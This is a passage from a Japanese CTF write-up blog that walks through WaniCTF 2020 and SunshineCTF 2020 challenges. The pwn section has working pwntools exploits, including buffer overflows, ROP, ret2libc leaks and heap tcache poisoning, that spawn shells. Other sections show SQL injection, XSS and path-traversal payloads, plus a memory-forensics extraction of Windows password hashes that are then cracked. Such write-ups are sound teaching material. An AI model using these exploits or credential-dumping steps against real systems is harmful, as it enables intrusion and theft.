flag: FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}

LCG crack (Hard)

想定解じゃないです.

    elif choice == 2:
                for cnt in range(1, 11):
                    print(f"[{cnt}/10] Guess the next number!")
                    try:
                        guess = int(input("> "))
                    except ValueError:
                        print("Please enter an integer\n\n\n")
                        continue
                    if guess == rng.next():
                        print(f"Correct! ")
                        cnt += 1
                    else:
                        print(f"Wrong... Try again!")
                        break
                else:
                    print(f"Congratz!  {flag}")
                    break

ValueErrorのときcontinueになっています.
文字を入力すると整数を入力するように促されるのですが, それを無視して10回文字を入力するとフラグが表示されます.
flag: FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}

l0g0n (Very hard)

AES暗号のECBモードは危ないっていうのは聞いたことがある.
同じ値を入力したらフラグが表示された...
よくわかってないです.
flag: FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}

Forensics

logged_flag (Beginner)

key_log.txtに書いてあります.
flag: FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}

ALLIGATOR_01 (Easy)

volatilityを使います.
ここここを参考にさせていただきました.

$ volatility -f ./ALLIGATOR.raw imageinfo
$ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 pslist

0x84dd6b28 evil.exe   3632   2964     1      21      2     0 2020-10-26 03:01:55 UTC+0000    

flag: FLAG{2020-10-26_03:01:55_UTC+0000}

ALLIGATOR_02 (Normal)

$ strings ./ALLIGATOR.raw | grep FLAG

または

$ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 consoles

flag: FLAG{y0u_4re_c0n50les_master}

chunk_eater (Normal)

壊れたPNGファイルが与えられます.
ヒントにあるサイトを参考にさせていただきました.
バイナリエディタで開いて"WANI"という文字列を順番にIHDR,IDAT,IDAT,IDAT,IENDにすると開けるようになります.
flag: FLAG{chunk_is_so_yummy!}

ALLIGATOR_03 (Hard)

パスワード付きのzipファイルが与えられます. パスワードを特定すればよさそうです.
ここを参考にさせていただきました.
Linuxのvolatilityを使っていたのですがhashdumpが使えなかったのでWindowsの方を使いました.

> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual    Physical   Name
---------- ---------- ----
0x96833008 0x29f35008 \??\C:\System Volume Information\Syscache.hve
0x9a37a008 0x0edcf008 \??\C:\Users\ALLIGATOR\ntuser.dat
0x9a37c008 0x0eed1008 \??\C:\Users\ALLIGATOR\AppData\Local\Microsoft\Windows\UsrClass.dat
0x8780a6b8 0x282fb6b8 [no name]
0x8781a008 0x28349008 \REGISTRY\MACHINE\SYSTEM
0x87838218 0x28367218 \REGISTRY\MACHINE\HARDWARE
0x8b0599c8 0x248859c8 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x8cb07008 0x26f46008 \Device\HarddiskVolume1\Boot\BCD
0x8e7f7008 0x26313008 \SystemRoot\System32\Config\SOFTWARE
0x904655f8 0x225685f8 \??\C:\Users\IEUser\ntuser.dat
0x9144b5c0 0x260205c0 \SystemRoot\System32\Config\DEFAULT
0x937338d0 0x250778d0 \SystemRoot\System32\Config\SECURITY
0x93791458 0x1d940458 \SystemRoot\System32\Config\SAM
0x937b79c8 0x248899c8 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat
0x937fb758 0x248dd758 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x96449458 0x03f4f458 \??\C:\Users\sshd_server\ntuser.dat
0x9645d3d8 0x2830b3d8 \??\C:\Users\sshd_server\AppData\Local\Microsoft\Windows\UsrClass.dat

\REGISTRY\MACHINE\SYSTEM\SystemRoot\System32\Config\SAMのアドレスを指定してhashdumpします.

> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hashdump -y 0x8781a008 -s 0x93791458
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::

5e7a211fee4f7249f9db23e4a07d7590https://crackstation.net/ に投げました.
パスワードはilovewani.
flag: FLAG{The_Machikane_Crocodylidae}

zero_size_png (Very hard)

想定解じゃないです.
サイズが0x0のPNGファイルが与えられます.
バイナリエディタで開いて, ヒントにあるサイトを参考にサイズをいじります.
IHDRの直後の4バイトが画像の幅でその直後の4バイトが画像の高さになるようです.
頑張ってフラグが見えるサイズ(2997 x 1000)にしました.
想定解は正しい縦横比を総当たりで求めるみたいです.
flag: FLAG{Cyclic_Redundancy_CAT}

Misc

Find a Number (Beginner)

0~500000の範囲の乱数を当てます.
電卓を使いながら手動で二分探索しました.
flag: FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}

MQTT Challenge (Normal)

サブスクライブすると約1分ごとにそのトピックのメッセージが流れてきます. フラグを配信しているトピックを見つければよさそうです.
ここによるとマルチレベルワイルドカードというものがあるそうです. #を入力して待つとフラグが表示されます.
flag: FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}

PWN

netcat (Beginner)

nc netcat.wanictf.org 9001するとシェルが起動しています.
flag: FLAG{netcat-1s-sw1ss-4rmy-kn1fe}

var rewrite (Beginner)

ローカル変数を書き換える.
入力はrbp-0x16からで比較対象の変数はrbp-0xcからなので0xa(=0x16-0xc)文字後に"WANI"を置くとよさそうです.

$ nc var.wanictf.org 9002
What's your name?: AAAAAAAAAAWANI
hello AAAAAAAAAAWANI!
Congratulation!
cat flag.txt
FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}

flag: FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}

binsh address (Easy)

binshのアドレスを入力すればいいです. 表示されるアドレスはvalのアドレスのようです.
binshのoffsetを調べます.

gdb-peda$ start
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 2 results, display max 2 items:
pwn03 : 0x555555756020 --> 0x68732f6e69622f ('/bin/sh')
 libc : 0x7ffff7f7c143 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ c
Continuing.
The address of "input  " is 0x555555756010.
Please input "/bin/sh" address as a hex number:

表示されるアドレスに0x10(=0x555555756020-0x555555756010)を足せばよさそうです.

$ nc var.wanictf.org 9003
The address of "input  " is 0x55ec32711010.
Please input "/bin/sh" address as a hex number: 0x55ec32711020
Your input address is 0x55ec32711020.
Congratulation!
cat flag.txt
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}

flag: FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}

got rewrite (Easy)

GOT Overwrite.
入力の後にあるprintfのGOTをwinのアドレスに書き換えればよさそうです.
printfのGOTのアドレスを調べます.

$ readelf -a ./pwn04

再配置セクション '.rela.plt' at offset 0x590 contains 9 entries:
  オフセット      情報           型             シンボル値    シンボル名 + 加数
000000601018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000601028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000601030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 system@GLIBC_2.2.5 + 0
000000601038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000601040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000601048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000601050  000a00000007 R_X86_64_JUMP_SLO 0000000000000000 strtol@GLIBC_2.2.5 + 0
000000601058  000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
$ nc var.wanictf.org 9004
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600e10-0x6010b0): 0x000000601038
Your input address is 0x601038.
Please input rewrite value: 0x400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
cat flag.txt
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}

flag: FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}

ret rewrite (Normal)

vuln内のreadBOFが起きます. リターンアドレスをwinのアドレスに書き換えればよさそうです.
入力はrbp-0xeからなのでoffsetは0x16(=0xe+0x8).
問題文にあるようにwinを実行してもスタックのアライメントの問題でsystemで落ちます. なので, winの最初のpush rbpをとばします.

$ (python -c "print('A'*22+'\x38\x08\x40\x00\x00\x00\x00\x00')";cat)| nc ret.wanictf.org 9005
What's your name?: Hello AAAAAAAAAA!

***start stack dump***
0x7ffd1ffd5fd0: 0x41414141414160d0 <- rsp
0x7ffd1ffd5fd8: 0x0000001f41414141
0x7ffd1ffd5fe0: 0x4141414141414141 <- rbp
0x7ffd1ffd5fe8: 0x0000000000400838 <- return address
0x7ffd1ffd5ff0: 0x0000000000400a00
0x7ffd1ffd5ff8: 0x00007f706b311bf7
0x7ffd1ffd6000: 0x0000000000000001
***end stack dump***

congratulation!
cat flag.txt
FLAG{1earning-how-return-address-w0rks-on-st4ck}

flag: FLAG{1earning-how-return-address-w0rks-on-st4ck}

rop func call (Normal)

ret_rewriteと同様にvuln内のreadBOFが起きます. 第1引数にbinshのアドレスを指定してsystemを呼び出します. ret_rewriteと同様にスタックのアライメントの問題で落ちるのでretをはさみます.
pop rdiretのアドレスはROPgadgetで調べました. ret(pop rdiのアドレス)+1で代用できるので調べなくてもいいです.

$ ROPgadget --binary ./pwn06
from pwn import *

# p=process('./pwn06')
p=remote('rop.wanictf.org',9006)
e=ELF('./pwn06')

pop_rdi=0x0000000000400a53
ret=0x000000000040065e

payload=b'A'*22
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(e.symbols['binsh'])
payload+=p64(e.plt['system'])

p.recv()
p.sendline(payload)
p.interactive()

flag: FLAG{learning-rop-and-x64-system-call}

one gadget rce (Hard)

想定解じゃないです.
vuln内のreadBOFが起きます. やることは以下の通りです.

  • リターンアドレスを書き換えてputsを呼び出しputsのGOTをリークしてlibcのアドレスを求める.
  • vulnに戻る.
  • リターンアドレスを書き換えてsystem("/bin/sh")を実行.
from pwn import *

# p=process('./pwn07')
p=remote('rce.wanictf.org',9007)
e=ELF('./pwn07')
libc=ELF('libc-2.27.so')

pop_rdi=0x0000000000400a13
ret=0x0000000000400626

payload=b'A'*22
payload+=p64(pop_rdi)
payload+=p64(e.got['puts'])
payload+=p64(e.plt['puts'])
payload+=p64(e.symbols['vuln'])

p.recv()
p.sendline(payload)
p.recvuntil('***end stack dump***\n\n')

libc.address=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
print(hex(libc.address))

payload=b'A'*22
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(next(libc.search(b'/bin/sh')))
payload+=p64(libc.symbols['system'])

p.recv()
p.sendline(payload)
p.interactive()

flag: FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}

heap (Very hard)

解けなかった😭
ヒープオーバーフローからのtcache poisoningだろうと思ったけどtcacheがうまく繋がらなかった.
運営の方のWriteupを参考にさせていただきました.
サイズが0x20のchunkでlibcのアドレスをリークして, サイズが0x30のchunkで__free_hookを書き換えました.

from pwn import *

context.log_level='info'

def add(i,size):
    log.info('add '+str(i))
    p.recvuntil('command?: ')
    p.sendline('1')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))
    p.recvuntil('size?: ')
    p.sendline(str(size))

def edit(i,memo):
    log.info('edit '+str(i))
    p.recvuntil('command?: ')
    p.sendline('2')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))
    p.recvuntil('memo?: ')
    p.sendline(memo)

def view(i):
    log.info('view '+str(i))
    p.recvuntil('command?: ')
    p.sendline('3')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))
    return u64(p.recv(6).ljust(8,b'\x00'))

def del_memo(i):
    log.info('del '+str(i))
    p.recvuntil('command?: ')
    p.sendline('9')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))

# p=process('./pwn08')
p=remote('heap.wanictf.org',9008)
e=ELF('./pwn08')
libc=ELF('./libc-2.27.so')

payload=b'A'*16
payload+=p64(0)
payload+=p64(0x31)
payload+=p64(e.got['printf'])

add(0,10)
add(1,10)
del_memo(1)
edit(0,payload)
add(2,10)
add(3,10)
libc.address=view(3)-libc.symbols['printf']
print(hex(libc.address))

payload=b'A'*32
payload+=p64(0)
payload+=p64(0x31)
payload+=p64(libc.symbols['__free_hook'])

add(4,40)
add(5,40)
del_memo(5)
edit(4,payload)
add(6,40)
add(7,40)
edit(7,p64(libc.symbols['system']))

add(8,40)
edit(8,b'/bin/sh')
del_memo(8)
p.interactive()

flag: FLAG{I-am-a-heap-beginner}

Reversing

strings (Beginner)

$ strings ./strings | grep FLAG

flag: FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}

simple (Normal)

angrに投げた.

import angr 

project = angr.Project('./simple')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()

states = simgr.deadended
for state in states:
    flag = b"".join(state.posix.stdin.concretize())
    print(flag)

flag: FLAG{5imp1e_Revers1ng_4rray_5trings}

complex (Hard)

angrでも解けるみたいだけどできなかった. Ghidra, GDBで解析しました.
Ghidraのデコンパイルはちょっと分かりにくかったので自分なりにコードを書きました. 疑似コードやメモみたいなのはコメントアウトしています.

#include<stdio.h>

int check_0(char *s){
    char *x,*y;
    for(int i=0;i<36;i++){
        if(x[i]^s[i]!=y[i]) return 0;
    }
    return 1;
}

int check_13(char *s){
    char *x,*y;
    for(int i=0;i<36;i++){
        if(x[i]^s[i]!=y[i]) return 1;
    }
    return 2;
}

int check(int i,char *s){
    switch (i)
    {
        // return check_i(s);
    }
}

int main(){
    char* s;
    scanf("%s",s);
    // len(s)==42
    // s-="FLAG{}";
    int i=0;
    for(i=0;i<20;i++){
        int k=check(i,s);
        if(k==0) continue;
        if(k==1) break;
        if(k==2) printf("Correct!\n"); 
    }
    printf("Incorrect!\n");
}

まず, フラグは42文字でフラグから"FLAG{}"を取り除いた36文字とループ変数が20回checkに渡されます. checkの戻り値が2だと正解で1だと終了します. checkはループごとに別の関数を呼び出します. check_13だけ2を返す処理があります. ローカル変数が2つあり, 片方とXORをとったときもう片方と一致していれば2を返します. よって, check_13の2つのローカル変数をXORすればフラグが求まります. リトルエンディアンに注意.

x=['0x3131393431333637','0x3435313837393235','0x3635313836343636','0x3834303131353334','0x34323435','0x37']
y=['0x6e44564d6e575f53','0x576a48545b585747','0x535d45675d57535e','0x675a42444550416b','0x415e5543','0x52']

flag="FLAG{"
for i1,i2 in zip(x,y):
    s=reversed(bytes.fromhex(i1[2:]).decode())
    t=reversed(bytes.fromhex(i2[2:]).decode())
    for c1,c2 in zip(s,t):
        flag+=chr(ord(c1)^ord(c2))
flag+="}"
print(flag)

flag: FLAG{did_you_really_check_the_return_value}

static (Very hard)

$ strings ./static

するとUPXという文字が見えました. なので, アンパックします.

$ upx -d ./static

Ghidraで解析しました.
complexと同様にフラグの中身が取り出され, 何かとXORをとりそれがローカル変数と等しいと正解みたいです. この何かは関数によって求められていたのですが, 処理が複雑でよくわかりませんでした. この関数には引数がなかったので一定の値が返ってくるのではないかと思い, GDBでメモリを読みました.
strippedなバイナリの解析はあまりやったことがなかったので, こちらを参考にさせていただきました.

gdb-peda$ info file
gdb-peda$ b *0x400a80
gdb-peda$ r
gdb-peda$ x/400i $rip
gdb-peda$ b *0x400e95
gdb-peda$ x/50wx $rbp-0xd0
0x7fffffffe910: 0x63c1d9b9      0x383f1bd1      0x4107dda4      0x34841fea
0x7fffffffe920: 0x3ebdf50c      0x315655eb      0x4def053a      0x1bfdeb26
0x7fffffffe930: 0x24118fca      0x2722989c      0x7abcb583      0x09466305
0x7fffffffe940: 0x7799b061      0x172289c3      0x401a25fc      0x39ce6189
0x7fffffffe950: 0x56ec69c1      0x106f1fd2      0x77fc40b6      0x4828aec2
0x7fffffffe960: 0x2252ba83      0x45935da2      0x7565bdfe      0x5ae2409f
0x7fffffffe970: 0x20edd672      0x47362435      0x0b61fcb5      0x7c7607de
0x7fffffffe980: 0x6cf7730d      0x5222628a      0x5ee131a8      0x50b94cc6
0x7fffffffe990: 0x0a617e5b      0x1fe90f4c      0x053d6cb0      0x491f7368
0x7fffffffe9a0: 0x513f6537      0x532c71ea      0x651d5e8e      0x7550f502
0x7fffffffe9b0: 0x7a4f0a87      0x5fda1411      0x7e975807      0x71e8bae8
0x7fffffffe9c0: 0x76fc9dd4      0x3eb17e04      0x2bb71c71      0x4de90796
0x7fffffffe9d0: 0x00000000      0x00000000

やはり一定の値が返ってきてました! よって, このメモリの値とローカル変数の値をXORすればフラグが求まります.

x=[0x63c1d9b9,0x383f1bd1,0x4107dda4,0x34841fea,0x3ebdf50c,0x315655eb,0x4def053a,0x1bfdeb26,0x24118fca,0x2722989c,0x7abcb583,0x09466305,0x7799b061,0x172289c3,0x401a25fc,0x39ce6189,0x56ec69c1,0x106f1fd2,0x77fc40b6,0x4828aec2,0x2252ba83,0x45935da2,0x7565bdfe,0x5ae2409f,0x20edd672,0x47362435,0x0b61fcb5,0x7c7607de,0x6cf7730d,0x5222628a,0x5ee131a8,0x50b94cc6,0x0a617e5b,0x1fe90f4c,0x053d6cb0,0x491f7368,0x513f6537,0x532c71ea,0x651d5e8e,0x7550f502,0x7a4f0a87,0x5fda1411,0x7e975807,0x71e8bae8,0x76fc9dd4,0x3eb17e04,0x2bb71c71,0x4de90796]
y=[0x63c1d9cb,0x383f1bb2,0x4107dd90,0x34841fb5,0x3ebdf538,0x31565585,0x4def055e,0x1bfdeb79,0x24118ff9,0x272298e8,0x7abcb5e2,0x9466371,0x7799b008,0x172289a0,0x401a25a3,0x39ce61b8,0x56ec69a8,0x106f1fbc,0x77fc40dd,0x4828ae9d,0x2252bab7,0x45935dcc,0x7565bd9a,0x5ae240c0,0x20edd601,0x47362402,0xb61fcc7,0x7c7607b7,0x6cf7737d,0x522262fa,0x5ee1319b,0x50b94ca2,0xa617e04,0x1fe90f3c,0x53d6c81,0x491f731d,0x513f6544,0x532c71b5,0x651d5efb,0x7550f572,0x7a4f0aff,0x5fda144e,0x7e975877,0x71e8ba89,0x76fc9db7,0x3eb17e6f,0x2bb71c42,0x4de907f2]

flag="FLAG{"
flag+="".join([chr(i^j) for i,j in zip(x,y)])
flag+="}"
print(flag)

flag: FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}

Web

DevTools_1 (Beginner)

ソースコードを見るとフラグがコメントアウトされてました.
flag: FLAG{you_can_read_html_using_devtools}

DevTools_2 (Beginner)

0円のところを5000000000000000円に書き換えるとフラグが表示されました.
flag: FLAG{you_can_edit_html_using_devtools}

Simple Memo (Beginner)

ディレクトリトラバーサル.
flag.txtmemosディレクトリと同じ位置にあるみたいなので../flag.txtと入力すればよさそうですが../が削除されてしまいます.
....//flag.txtと入力すると../flag.txtとなりフラグが表示されます.
flag: FLAG{y0u_c4n_get_hi5_5ecret_fi1e}

strped table (Easy)

メモが作成できるサイト.
XSS.
ソースコードを見るとindexが奇数のときmemoがチェックされてないことがわかります. 2つ目のメモに<script>alert(19640503)</script>を入力するとフラグが表示されます.
flag: FLAG{simple_cross_site_scripting}

SQL Challenge 1 (Normal)

想定解じゃないです.
SQL Injection.
ソースコードを見ると', ,/,\,|が使えないことがわかります.

$query = "SELECT * FROM anime WHERE years =$year";

このSQL文のWHERE句をTrueにすればよいので, yearsを入力しました.

想定解は(1)or(1)=(1)みたいです. 空白を使わずにWHERE句をTrueにできます.
flag: FLAG{53cur3_5ql_a283b4dffe}

SQL Challenge 2 (Hard)

想定解じゃないです.
SQL Injection.
文字列と数字以外を入力すると前に\が挿入されます.
SQL Challenge 1と同様にyearsを入力するとフラグが表示されました.

想定解は0みたいです. yearsは文字列なのですが

MySQLでは比較演算を行う際、比較対象の一方が数値ならもう片方も数値として扱うという暗黙的な型変換が行われるようです。

なので数値を入力するとyearsは数値になります. また,

しかしyearsカラムに数字以外の文字列が入っていた場合、その文字列はすべて0という値に変換されます。

なので0を入力すると数字以外の文字列で記録されたデータが表示されます.
参考

flag: FLAG{5ql_ch4r_cf_ca87b27723}

SunshineCTF 2020 Writeup

11/7から行われたSunshineCTF 2020に参加しました. たくさん解けて楽しかったです.
f:id:shirataki64225:20201112143549p:plain

Web

Password Pandemonium (100 Pts)

登録フォームが表示される. 適当に登録しようとするとパスワードでいろいろなエラーが出る.

  • 短い
  • 長い
  • 特殊文字を3文字以上
  • 素数を含む
  • 絵文字を含む
  • 大文字と小文字の数が同じ
  • 回文
  • JavaScriptTrueが返される
  • MD5でハッシュしたとき先頭が数字

"😀Aa3aA😀"=="😀Aa3aA😀"と入力したらフラグが表示された.
flag: sun{Pal1ndr0m1c_EcMaScRiPt}

Reversing

Hotel Door Puzzle (100 Pts)

$ ./hotel_key_puzzle 
Hotel Orlando Door Puzzle v1
----------------------------
This puzzle, provided by Hotel Orlando, is in place to give the bellhops enough time to get your luggage to you.
We have really slow bellhops and so we had to put a serious _time sink_ in front of you.
Have fun with this puzzle while we get your luggage to you!

        -Hotel Orlando Bellhop and Stalling Service

Your guess, if you would be so kind: 
abcd
Sadly, that is the incorrect key. If you would like, you could also sit in our lobby and wait.

keyがフラグっぽい.
angrを使いました.

import angr 

project = angr.Project('./hotel_key_puzzle')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()

states = simgr.deadended
for state in states:
    flag = b"".join(state.posix.stdin.concretize())
    print(flag)
$ python3 solve.py

b'sun{b3llh0p\xd9-runn\xc9n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
b'sun{b3llh0p\xc9-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
b'sun{b3llh0p5-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'

angrの使い方はSECCON Beginners Liveで解説されてました.
http://o0i.es/c4blive.pdf
flag: sun{b3llh0p5-runn1n6-qu1ckly}

Crypto

Magically Delicious (100 Pts)

⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄
Tip: If you're digging into the unicode encoding of the emojis, you're on the wrong track!

ありがたいヒント.
3文字ごとに区切られてるから8進数かな.

>>> for c in "sun{}":
...  print(oct(ord(c)))
... 
0o163
0o165
0o156
0o173
0o175

⭐ → 1, 🌈 → 6, 🍀 → 3, 🦄 → 5, 🎈 → 7 と変換すればよさそう.
💜, 🐴, 🌑はいい感じの文字列になるように変換した.

encoded_flag="⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄"

l=encoded_flag.split(' ')

flag=""
for i in l:
    s=""
    for c in i:
        if c=='💜':
            s+='0'
        if c=='⭐':
            s+='1'
        if c=='🐴':
            s+='2'
        if c=='🍀':
            s+='3'
        if c=='🌑':
            s+='4'
        if c=='🦄':
            s+='5'
        if c=='🌈':
            s+='6'
        if c=='🎈':
            s+='7'
    flag+=chr(int(s,8))

print(flag)
$ python3 solve.py 
sun{lucky-octal-encoding-is-the-best-encoding-method}

flag: sun{lucky-octal-encoding-is-the-best-encoding-method}

Speedrun

pwnの基礎問題的なやつ. いい練習になりました.

00 (10 Pts)

gdbで逆アセンブル.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000006ca <+0>:     push   rbp
   0x00000000000006cb <+1>:     mov    rbp,rsp
   0x00000000000006ce <+4>:     sub    rsp,0x40
   0x00000000000006d2 <+8>:     lea    rdi,[rip+0xcb]        # 0x7a4
   0x00000000000006d9 <+15>:    call   0x580 <puts@plt>
   0x00000000000006de <+20>:    lea    rax,[rbp-0x40]
   0x00000000000006e2 <+24>:    mov    rdi,rax
   0x00000000000006e5 <+27>:    mov    eax,0x0
   0x00000000000006ea <+32>:    call   0x5a0 <gets@plt>
   0x00000000000006ef <+37>:    cmp    DWORD PTR [rbp-0x4],0xfacade
   0x00000000000006f6 <+44>:    jne    0x704 <main+58>
   0x00000000000006f8 <+46>:    lea    rdi,[rip+0xba]        # 0x7b9
   0x00000000000006ff <+53>:    call   0x590 <system@plt>
   0x0000000000000704 <+58>:    cmp    DWORD PTR [rbp-0x8],0xfacade
   0x000000000000070b <+65>:    jne    0x719 <main+79>
   0x000000000000070d <+67>:    lea    rdi,[rip+0xa5]        # 0x7b9
   0x0000000000000714 <+74>:    call   0x590 <system@plt>
   0x0000000000000719 <+79>:    nop
   0x000000000000071a <+80>:    leave  
   0x000000000000071b <+81>:    ret    
End of assembler dump.

rbp-0x4rbp-0x8の値が0xfacadeになっているとシェルが起動する. 入力がrbp-0x40からに格納されるので0x3c文字か0x38文字後に0xfacadeを置く.

from pwn import *

# p=process('./chall_00')
p=remote('chal.2020.sunshinectf.org',30000)

arg=0xfacade

payload=b''
for i in range(8):
    payload+=p64(arg)

p.recv()
p.sendline(payload)
p.interactive()

flag: sun{burn-it-down-6208bbc96c9ffce4}

01 (10 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000075a <+0>:     push   rbp
   0x000000000000075b <+1>:     mov    rbp,rsp
   0x000000000000075e <+4>:     sub    rsp,0x60
   0x0000000000000762 <+8>:     lea    rdi,[rip+0xef]        # 0x858
   0x0000000000000769 <+15>:    call   0x600 <puts@plt>
   0x000000000000076e <+20>:    mov    rdx,QWORD PTR [rip+0x20089b]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000775 <+27>:    lea    rax,[rbp-0x20]
   0x0000000000000779 <+31>:    mov    esi,0x13
   0x000000000000077e <+36>:    mov    rdi,rax
   0x0000000000000781 <+39>:    call   0x620 <fgets@plt>
   0x0000000000000786 <+44>:    lea    rax,[rbp-0x60]
   0x000000000000078a <+48>:    mov    rdi,rax
   0x000000000000078d <+51>:    mov    eax,0x0
   0x0000000000000792 <+56>:    call   0x630 <gets@plt>
   0x0000000000000797 <+61>:    cmp    DWORD PTR [rbp-0x4],0xfacade
   0x000000000000079e <+68>:    jne    0x7ac <main+82>
   0x00000000000007a0 <+70>:    lea    rdi,[rip+0xdf]        # 0x886
   0x00000000000007a7 <+77>:    call   0x610 <system@plt>
   0x00000000000007ac <+82>:    cmp    DWORD PTR [rbp-0x8],0xfacade
   0x00000000000007b3 <+89>:    jne    0x7c1 <main+103>
   0x00000000000007b5 <+91>:    lea    rdi,[rip+0xca]        # 0x886
   0x00000000000007bc <+98>:    call   0x610 <system@plt>
   0x00000000000007c1 <+103>:   nop
   0x00000000000007c2 <+104>:   leave  
